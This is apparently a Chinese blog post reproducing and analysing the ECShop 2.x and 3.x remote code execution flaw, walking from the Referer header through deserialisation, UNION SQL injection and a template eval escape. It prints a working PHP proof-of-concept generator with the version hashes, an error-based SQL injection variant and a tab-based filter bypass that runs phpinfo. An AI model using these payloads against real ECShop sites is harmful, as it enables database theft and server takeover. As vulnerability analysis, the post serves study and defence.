ECShop相关漏洞复现/分析

 

漏洞复现

 
使用P师傅的Paylaod
 

<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
    "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
    "id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";

 

 
EcShop 2.x
 

 
EcShop3.x
 

 
从POC看的话,可以看的出漏洞处于Referer该请求头处
 

漏洞分析

 
漏洞位于 user.php
 

 
这里面的 $back_act 可控,之后进入 assign 函数中
 

 
跟进发现将其值赋给 _var[$tpl_var] ,这个可能就是模版变量
 

 
之后调用 display 函数
 

 

 
$out 就是读取模版文件的内容,然后再用 $this->_echash 分割成数组,再将奇数的值放入 $this->insert_mod 中,我们跟进这个函数
 

 
这里面先用 | 来分割获取函数名以及参数,参数后面使用反序列化获取,然后 $fun($para) 动态调用
 
POC中找到的可用函数为 insert_ads
 
根进可以发现,我们的数据被插入了sql中
 

 

 
那么这里面显然是个Sql主入漏洞
 
将P神的Payload稍微改了一下就能够Sql注入了
 

<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
    "num" => sprintf('*/SELECT 1,3,(extractvalue(rand(),concat(0x7e,version())),1),4,5,6,7,8,9,10-- -'),
    "id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";
?>

 

 
至于如何Rce需要继续向下分析
 
查询到的字段放在 $res
 

 

 

其中将 $position_style 赋值为 $row['position_style']
 

 
在后面的 fetch 中会调用
 
跟进看看
 

 
只要满足 strncmp($filename,'str:', 4) == 0 就会进入 $->_eval() 函数
 

eval其实主要就是执行代码,重要的就是 fetch_str 这个函数
 

 
其中第一个正则
 

 
他过滤了类似于 phpinfo() 或者 phpinfo () 这类的,这里面使用的是 \t 绕过
 

 
这条的正则的意思为
 

 
我们继续跟进去 select() 函数
 

 
当传入的第一个字符为 $ 时去除 $ 进入 $this->get_val() 函数
 

&nbsp
若我们传入值不为 .$ 进入 nake_var 函数
 
跟进
 

 
若传入的变量不存在 . 则返回 $this->_var['变量'];
 

 
回到最后前面就会返回

<?php echo  $this->_var['变量'];?>

 

 
最后拼接到eval中执行
 

 
显然我们可以利用单引号逃逸这个变量,因此exp为
 

{$asd'];phpinfo\t();//}xxx

 
放入原Payload就为
 

<?php echo  $this->_var['asd'];phpinfo\t();//'];?>

 
同时3.x的漏洞也跟这个差不多,不同的只是 $this->_echash的不同
 
这里面贴上P神的POC
 

<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
    "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
    "id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";

 
简单总结
 
HttpReferer-> 利用$this->_echash进行分割->反序列化动态调用函数(函数名,参数可控)->利用union sql注入覆盖数据->正则绕过,单引号逃逸->RCE
 

posted @ 2021-07-12 14:40  Zahad003  阅读(647)  评论(0编辑  收藏  举报